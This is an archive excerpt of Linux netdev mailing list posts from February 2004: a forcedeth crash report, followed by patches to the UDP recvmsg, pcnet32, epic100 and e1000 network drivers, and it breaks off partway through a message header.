Subject: forcedeth halts system Mime-Version: 1.0 X-Mailer: mPOP Web-Mail 2.19 X-Originating-IP: [213.243.162.64] Date: Sat, 21 Feb 2004 13:18:20 +0300 Reply-To: =?koi8-r?Q?=22=E1=CE=C1=D4=CF=CC=C9=CA=20=F7=C5=D2=C8=CF=D7=D3=CB=C9=CA=22=20?= Content-Type: text/plain; charset=koi8-r Message-Id: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1LEwPKO026727 X-archive-position: 3475 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xx13@mail.ru Precedence: bulk X-list: netdev I have nforce2 based system, and chaintech mobo (7nif2). I'm runnig gentoo, with stock kernels from kernel.org. 2.4.22 with nvnet works fine. Now i'm trying to move over to kernel 2.6 (the mobo has lots of buggy ACPI code). I've tried 2.6.1 2.6.2 (with forcedeth patches 23) and 2.6.3 (comes with forcedeth). With each 2.6 kernel i have the same problem, the system halts at random times and there's nothing helpfull i can find in the logs. Averge uptime is something like 4 hours. I think there is a correlation between launching of bittorent and mldonkey and system crashes. I'm not 100% sure that the reason for halts is the forcedeth driver, but it is my first suspect. (What i should do is run the system for couple of days without loading the network driver to see if that improves the stability, but living without network is hard.) Cheers Anatoly V. From davem@redhat.com Sat Feb 21 13:08:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 13:09:01 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1LL8uKO005462 for ; Sat, 21 Feb 2004 13:08:56 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1LL8sb24000; Sat, 21 Feb 2004 16:08:54 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1LL8si29342; Sat, 21 Feb 2004 16:08:54 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1LL8qkC011369; Sat, 21 Feb 2004 16:08:53 -0500 Date: Sat, 21 Feb 2004 13:08:53 -0800 From: "David S. Miller" To: Olaf Kirch Cc: netdev@oss.sgi.com Subject: Re: [PATCH] 2.6 UDP recvmsg vs POSIX Message-Id: <20040221130853.4c98bad6.davem@redhat.com> In-Reply-To: <20040217121726.GD8554@suse.de> References: <20040217121726.GD8554@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3476 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 17 Feb 2004 13:17:26 +0100 Olaf Kirch wrote: > I'm currently investigating a problem in udp recvmsg. In short, a test > program selects on the socket, gets woken up as a packet arrives, but > recvmsg return EAGAIN because the UDP checksum was wrong. > > This broke one real-life application, and reportedly this violates POSIX, > as operations on a blocking socket must never return EAGAIN. Well, first things first, using blocking sockets with select/poll is kind of stupid programming. Nonetheless, udp_recvmsg() can't return -EAGAIN on a blocking socket. Andi, TCP does not have this issue, it simply goes back to sleep waiting for more data to arrive if the prequeue delayed checksumming fails. I think we should fix it like the following, which is basically the last part of Olaf's original patch in this thread. Just wait for another packet if a blocking socket and checksum fails, else if non-blocking -EAGAIN is OK. To be honest, I believe this was Alexey's original intention when he wrote this code. ===== net/ipv4/udp.c 1.56 vs edited ===== --- 1.56/net/ipv4/udp.c Fri Jan 9 01:50:23 2004 +++ edited/net/ipv4/udp.c Sat Feb 21 13:03:05 2004 @@ -787,6 +787,7 @@ if (flags & MSG_ERRQUEUE) return ip_recv_error(sk, msg, len); +try_again: skb = skb_recv_datagram(sk, flags, noblock, &err); if (!skb) goto out; @@ -852,7 +853,9 @@ skb_free_datagram(sk, skb); - return -EAGAIN; + if (noblock) + return -EAGAIN; + goto try_again; } int udp_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) From tmus@tmus.dk Sat Feb 21 14:24:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 14:24:27 -0800 (PST) Received: from pasmtp.tele.dk (pasmtp.tele.dk [193.162.159.95]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1LMO1KO006518 for ; Sat, 21 Feb 2004 14:24:01 -0800 Received: from mail.tmus.dk (cpe.atm0-0-0-1561101.0x50a0a16e.albnxx5.customer.tele.dk [80.160.161.110]) by pasmtp.tele.dk (Postfix) with ESMTP id DB3791EC3AB; Sat, 21 Feb 2004 22:57:03 +0100 (CET) Received: from tmus.dk (dyn-192-168-1-20.tmus.dk [192.168.1.20]) by mail.tmus.dk (Postfix) with ESMTP id 8245AF8139; Sat, 21 Feb 2004 22:57:25 +0100 (CET) Message-ID: <4037D42C.4030909@tmus.dk> Date: Sat, 21 Feb 2004 22:57:00 +0100 From: Thomas Munck Steenholdt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en, da MIME-Version: 1.0 To: Don Fry , netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 pcnet32.c fix link reporting for non-mii devices References: <200402202232.i1KMWqD07369@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200402202232.i1KMWqD07369@DYN318364BLD.beaverton.ibm.com> Content-Type: multipart/mixed; boundary="------------030004050402030806020001" X-archive-position: 3477 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmus@tmus.dk Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------030004050402030806020001 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Don Fry wrote: > Thomas, > > Thanks for the input. I am the unofficial maintainer, sort of. I don't > have a card without an mii, so I can't test some of the changes. Do > you know of a way to determine the link state so I can correctly return > the state? > > By the way, are you running 2.4 or 2.6? > Hi again! Decided to do some research and get this thing implemented right! I've created a new patch against the 2.6.3-bk3 version of pcnet32.c What this patch does is that in the event that mii is not supported, link status is read directly from device's lnktst bcr register. Works without any problem with the virtual nic under vmware. So if all the other non-mii pcnet32 devices have the link status register in the same place, things should be just fine! Could you please test this and let me know what you think? Best regards Thomas --------------030004050402030806020001 Content-Type: text/plain; name="pcnet32_real_link_detect_fix.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="pcnet32_real_link_detect_fix.patch" --- drivers/net/pcnet32.c.tmus 2004-02-19 15:24:31.238513096 +0100 +++ drivers/net/pcnet32.c 2004-02-19 15:27:28.265600888 +0100 @@ -1644,7 +1644,9 @@ case ETHTOOL_GLINK: { struct ethtool_value edata = {ETHTOOL_GLINK}; spin_lock_irq(&lp->lock); - edata.data = mii_link_ok(&lp->mii_if); + if(lp->mii) edata.data = mii_link_ok(&lp->mii_if); + /* read the LNKTST BCR register for link status on non-mii capable devices */ + else edata.data = (lp->a.read_bcr(ioaddr,4) != 0xc0); spin_unlock_irq(&lp->lock); if (copy_to_user(useraddr, &edata, sizeof(edata))) return -EFAULT; --------------030004050402030806020001-- From romieu@fr.zoreil.com Sat Feb 21 16:24:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 16:24:36 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1M0OVKO010824 for ; Sat, 21 Feb 2004 16:24:32 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i1M0M7gf008599; Sun, 22 Feb 2004 01:22:07 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i1M0M6er008598; Sun, 22 Feb 2004 01:22:06 +0100 Date: Sun, 22 Feb 2004 01:22:06 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] 2.6.3 - misc errors in epic100 driver Message-ID: <20040222012206.A8431@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 3478 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev - extra pci_disable_device() to balance invocation of pci_enable_device() in epic_init_one() (-> error path + epic_remove_one()); - lazy return status in epic_init_one(), tsss...; - memory dedicated to Rx descriptors was not freed after failure of register_netdev() in epic_init_one(); - use of epic_pause() in epic_close() offers a small window for a late interruption just before the final free_irq(). Let's close the window to avoid two epic_rx() threads racing with each other. drivers/net/epic100.c | 59 +++++++++++++++++++++++++++++++++----------------- 1 files changed, 40 insertions(+), 19 deletions(-) diff -puN drivers/net/epic100.c~epic100-fixup drivers/net/epic100.c --- linux-2.6.3/drivers/net/epic100.c~epic100-fixup 2004-02-22 01:07:47.000000000 +0100 +++ linux-2.6.3-fr/drivers/net/epic100.c 2004-02-22 01:07:47.000000000 +0100 @@ -378,7 +378,7 @@ static int __devinit epic_init_one (stru int irq; struct net_device *dev; struct epic_private *ep; - int i, option = 0, duplex = 0; + int i, ret, option = 0, duplex = 0; void *ring_space; dma_addr_t ring_dma; @@ -392,29 +392,33 @@ static int __devinit epic_init_one (stru card_idx++; - i = pci_enable_device(pdev); - if (i) - return i; + ret = pci_enable_device(pdev); + if (ret) + goto out; irq = pdev->irq; if (pci_resource_len(pdev, 0) < pci_id_tbl[chip_idx].io_size) { printk (KERN_ERR "card %d: no PCI region space\n", card_idx); - return -ENODEV; + ret = -ENODEV; + goto err_out_disable; } pci_set_master(pdev); + ret = pci_request_regions(pdev, DRV_NAME); + if (ret < 0) + goto err_out_disable; + + ret = -ENOMEM; + dev = alloc_etherdev(sizeof (*ep)); if (!dev) { printk (KERN_ERR "card %d: no memory for eth device\n", card_idx); - return -ENOMEM; + goto err_out_free_res; } SET_MODULE_OWNER(dev); SET_NETDEV_DEV(dev, &pdev->dev); - if (pci_request_regions(pdev, DRV_NAME)) - goto err_out_free_netdev; - #ifdef USE_IO_OPS ioaddr = pci_resource_start (pdev, 0); #else @@ -422,7 +426,7 @@ static int __devinit epic_init_one (stru ioaddr = (long) ioremap (ioaddr, pci_resource_len (pdev, 1)); if (!ioaddr) { printk (KERN_ERR DRV_NAME " %d: ioremap failed\n", card_idx); - goto err_out_free_res; + goto err_out_free_netdev; } #endif @@ -544,9 +548,9 @@ static int __devinit epic_init_one (stru dev->watchdog_timeo = TX_TIMEOUT; dev->tx_timeout = &epic_tx_timeout; - i = register_netdev(dev); - if (i) - goto err_out_unmap_tx; + ret = register_netdev(dev); + if (ret < 0) + goto err_out_unmap_rx; printk(KERN_INFO "%s: %s at %#lx, IRQ %d, ", dev->name, pci_id_tbl[chip_idx].name, ioaddr, dev->irq); @@ -554,19 +558,24 @@ static int __devinit epic_init_one (stru printk("%2.2x:", dev->dev_addr[i]); printk("%2.2x.\n", dev->dev_addr[i]); - return 0; +out: + return ret; +err_out_unmap_rx: + pci_free_consistent(pdev, RX_TOTAL_SIZE, ep->rx_ring, ep->rx_ring_dma); err_out_unmap_tx: pci_free_consistent(pdev, TX_TOTAL_SIZE, ep->tx_ring, ep->tx_ring_dma); err_out_iounmap: #ifndef USE_IO_OPS iounmap(ioaddr); -err_out_free_res: -#endif - pci_release_regions(pdev); err_out_free_netdev: +#endif free_netdev(dev); - return -ENODEV; +err_out_free_res: + pci_release_regions(pdev); +err_out_disable: + pci_disable_device(pdev); + goto out; } /* Serial EEPROM section. */ @@ -592,6 +601,13 @@ err_out_free_netdev: #define EE_READ256_CMD (6 << 8) #define EE_ERASE_CMD (7 << 6) +static void epic_disable_int(struct net_device *dev, struct epic_private *ep) +{ + long ioaddr = dev->base_addr; + + outl(0x00000000, ioaddr + INTMASK); +} + static int __devinit read_eeprom(long ioaddr, int location) { int i; @@ -1270,9 +1286,13 @@ static int epic_close(struct net_device dev->name, (int)inl(ioaddr + INTSTAT)); del_timer_sync(&ep->timer); - epic_pause(dev); + + epic_disable_int(dev, ep); + free_irq(dev->irq, dev); + epic_pause(dev); + /* Free all the skbuffs in the Rx queue. */ for (i = 0; i < RX_RING_SIZE; i++) { skb = ep->rx_skbuff[i]; @@ -1470,6 +1490,7 @@ static void __devexit epic_remove_one (s #endif pci_release_regions(pdev); free_netdev(dev); + pci_disable_device(pdev); pci_set_drvdata(pdev, NULL); /* pci_power_off(pdev, -1); */ } _ From scott.feldman@intel.com Sat Feb 21 22:33:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 22:33:29 -0800 (PST) Received: from fmsfmr004.fm.intel.com ([192.55.52.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1M6XKKO017356 for ; Sat, 21 Feb 2004 22:33:20 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by fmsfmr004.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1LMXxU0007250; Sat, 21 Feb 2004 22:33:59 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1M6Z7Rb029714; Sun, 22 Feb 2004 06:35:19 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004022122331316909 ; Sat, 21 Feb 2004 22:33:13 -0800 Date: Sat, 21 Feb 2004 23:08:53 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 1/6] flow control Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3479 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev * Bug fix: flow control high/low watermark settings not within Rx FIFO range: math error. ----------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000.h netdev-2.6/drivers/net/e1000.mod/e1000.h --- netdev-2.6/drivers/net/e1000/e1000.h 2004-02-20 14:04:07.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000.h 2004-02-20 14:04:45.000000000 -0800 @@ -113,7 +113,7 @@ struct e1000_adapter; #define E1000_SMARTSPEED_MAX 15 /* Packet Buffer allocations */ -#define E1000_TX_FIFO_SIZE_SHIFT 0xA +#define E1000_PBA_BYTES_SHIFT 0xA #define E1000_TX_HEAD_ADDR_SHIFT 7 #define E1000_PBA_TX_MASK 0xFFFF0000 diff -Naurp netdev-2.6/drivers/net/e1000/e1000_main.c netdev-2.6/drivers/net/e1000.mod/e1000_main.c --- netdev-2.6/drivers/net/e1000/e1000_main.c 2004-02-20 14:04:07.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_main.c 2004-02-20 14:05:35.000000000 -0800 @@ -328,14 +328,16 @@ e1000_reset(struct e1000_adapter *adapte adapter->tx_fifo_head = 0; adapter->tx_head_addr = pba << E1000_TX_HEAD_ADDR_SHIFT; adapter->tx_fifo_size = - (E1000_PBA_40K - pba) << E1000_TX_FIFO_SIZE_SHIFT; + (E1000_PBA_40K - pba) << E1000_PBA_BYTES_SHIFT; atomic_set(&adapter->tx_fifo_stall, 0); } E1000_WRITE_REG(&adapter->hw, PBA, pba); /* flow control settings */ - adapter->hw.fc_high_water = pba - E1000_FC_HIGH_DIFF; - adapter->hw.fc_low_water = pba - E1000_FC_LOW_DIFF; + adapter->hw.fc_high_water = + (pba << E1000_PBA_BYTES_SHIFT) - E1000_FC_HIGH_DIFF; + adapter->hw.fc_low_water = + (pba << E1000_PBA_BYTES_SHIFT) - E1000_FC_LOW_DIFF; adapter->hw.fc_pause_time = E1000_FC_PAUSE_TIME; adapter->hw.fc_send_xon = 1; adapter->hw.fc = adapter->hw.original_fc; From scott.feldman@intel.com Sat Feb 21 22:36:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 22:36:57 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1M6asKO017709 for ; Sat, 21 Feb 2004 22:36:54 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1M6XomG010779; Sun, 22 Feb 2004 06:33:51 GMT Received: from fmsmsxv041-1.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1M6a3o0005191; Sun, 22 Feb 2004 06:36:07 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxv041-1.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004022122360009764 ; Sat, 21 Feb 2004 22:36:00 -0800 Date: Sat, 21 Feb 2004 23:11:40 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 2/6] disable TSO for now Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3480 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev * Disable TSO as default setting until some hangs/resets caused with TSO enabled are root-caused. TSO can still be manually enabled using ethtool -K. ------------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000_main.c netdev-2.6/drivers/net/e1000.mod/e1000_main.c --- netdev-2.6/drivers/net/e1000/e1000_main.c 2004-02-20 14:05:38.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_main.c 2004-02-20 14:07:02.000000000 -0800 @@ -474,10 +474,15 @@ e1000_probe(struct pci_dev *pdev, } #ifdef NETIF_F_TSO +#ifdef BROKEN_ON_NON_IA_ARCHS + /* Disbaled for now until root-cause is found for + * hangs reported against non-IA archs. TSO can be + * enabled using ethtool -K eth tso on */ if((adapter->hw.mac_type >= e1000_82544) && (adapter->hw.mac_type != e1000_82547)) netdev->features |= NETIF_F_TSO; #endif +#endif if(pci_using_dac) netdev->features |= NETIF_F_HIGHDMA; From scott.feldman@intel.com Sat Feb 21 22:40:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 22:40:22 -0800 (PST) Received: from fmsfmr003.fm.intel.com ([192.55.52.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1M6eDKO018059 for ; Sat, 21 Feb 2004 22:40:14 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by fmsfmr003.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1M6bpuW021177; Sun, 22 Feb 2004 06:37:51 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1M6gCRX031623; Sun, 22 Feb 2004 06:42:13 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004022122400709590 ; Sat, 21 Feb 2004 22:40:07 -0800 Date: Sat, 21 Feb 2004 23:15:47 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 3/6] disable CSA fix for 82547 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3481 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev * Multiple reports of system lock-ups with the CSA patch, so let's disable fix for now until we can understand why this is causing the hangs. It was first thought that only pre- productions systems would hang, but that's not true. --------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000_main.c netdev-2.6/drivers/net/e1000.mod/e1000_main.c --- netdev-2.6/drivers/net/e1000/e1000_main.c 2004-02-20 14:07:04.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_main.c 2004-02-20 14:07:24.000000000 -0800 @@ -2131,26 +2131,10 @@ e1000_intr(int irq, void *data, struct p __netif_rx_schedule(netdev); } #else - /* Writing IMC and IMS is needed for 82547. - Due to Hub Link bus being occupied, an interrupt - de-assertion message is not able to be sent. - When an interrupt assertion message is generated later, - two messages are re-ordered and sent out. - That causes APIC to think 82547 is in de-assertion - state, while 82547 is in assertion state, resulting - in dead lock. Writing IMC forces 82547 into - de-assertion state. - */ - if(hw->mac_type == e1000_82547 || hw->mac_type == e1000_82547_rev_2) - e1000_irq_disable(adapter); - for(i = 0; i < E1000_MAX_INTR; i++) if(!e1000_clean_rx_irq(adapter) & !e1000_clean_tx_irq(adapter)) break; - - if(hw->mac_type == e1000_82547 || hw->mac_type == e1000_82547_rev_2) - e1000_irq_enable(adapter); #endif return IRQ_HANDLED; From scott.feldman@intel.com Sat Feb 21 22:50:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 22:50:13 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1M6o5KO018464 for ; Sat, 21 Feb 2004 22:50:05 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1M6lmmG014379; Sun, 22 Feb 2004 06:47:48 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1M6q2RZ002002; Sun, 22 Feb 2004 06:52:04 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004022122495909997 ; Sat, 21 Feb 2004 22:49:59 -0800 Date: Sat, 21 Feb 2004 23:25:39 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 4/6] delay may be too small Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3482 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev * msec_delay macro wouldn't delay at all if x < 10, and wouldn't delay enough for x = 10. Not a concern for 2.6 (HZ=1000) but is for 2.4 (HZ=100). ---------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000_osdep.h netdev-2.6/drivers/net/e1000.mod/e1000_osdep.h --- netdev-2.6/drivers/net/e1000/e1000_osdep.h 2004-02-20 14:07:27.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_osdep.h 2004-02-20 14:07:56.000000000 -0800 @@ -47,7 +47,7 @@ BUG(); \ } else { \ set_current_state(TASK_UNINTERRUPTIBLE); \ - schedule_timeout((x * HZ)/1000); \ + schedule_timeout((x * HZ)/1000 + 2); \ } } while(0) #endif From scott.feldman@intel.com Sat Feb 21 22:59:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 22:59:24 -0800 (PST) Received: from fmsfmr004.fm.intel.com ([192.55.52.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1M6xGKO018867 for ; Sat, 21 Feb 2004 22:59:16 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by fmsfmr004.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1LMxtU0012274; Sat, 21 Feb 2004 22:59:55 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1M71FRX004289; Sun, 22 Feb 2004 07:01:15 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004022122591010322 ; Sat, 21 Feb 2004 22:59:10 -0800 Date: Sat, 21 Feb 2004 23:34:49 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 5/6] collision retry count too high Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3483 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev * For half duplex, the IEEE says collision retry count should be 15 not 16. Would cause really slow transfers on some hubs (i.e NetGear DS108). ---------- diff -Naurp netdev-2.6/drivers/net/e1000/e1000_hw.h netdev-2.6/drivers/net/e1000.mod/e1000_hw.h --- netdev-2.6/drivers/net/e1000/e1000_hw.h 2004-02-20 14:07:57.000000000 -0800 +++ netdev-2.6/drivers/net/e1000.mod/e1000_hw.h 2004-02-20 14:08:39.000000000 -0800 @@ -1540,7 +1540,7 @@ struct e1000_hw { #define PBA_SIZE 4 /* Collision related configuration parameters */ -#define E1000_COLLISION_THRESHOLD 16 +#define E1000_COLLISION_THRESHOLD 15 #define E1000_CT_SHIFT 4 #define E1000_COLLISION_DISTANCE 64 #define E1000_FDX_COLLISION_DISTANCE E1000_COLLISION_DISTANCE From scott.feldman@intel.com Sat Feb 21 23:04:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 21 Feb 2004 23:04:10 -0800 (PST) Received: from caduceus.jf.intel.com (fmr06.intel.com [134.134.136.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1M747KO019280 for ; Sat, 21 Feb 2004 23:04:07 -0800 Received: from petasus.jf.intel.com (petasus.jf.intel.com [10.7.209.6]) by caduceus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i1M75qgi027916; Sun, 22 Feb 2004 07:05:52 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i1M75S5I029388; Sun, 22 Feb 2004 07:05:31 GMT Received: from [134.134.3.50] ([134.134.3.50]) by orsmsxvs040.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004022123040122436 ; Sat, 21 Feb 2004 23:04:01 -0800 Date: Sat, 21 Feb 2004 23:39:40 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e1000 netdev-2.6 6/6] handle register_netdev failure Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3484 X-ecartis-version: Ecartis 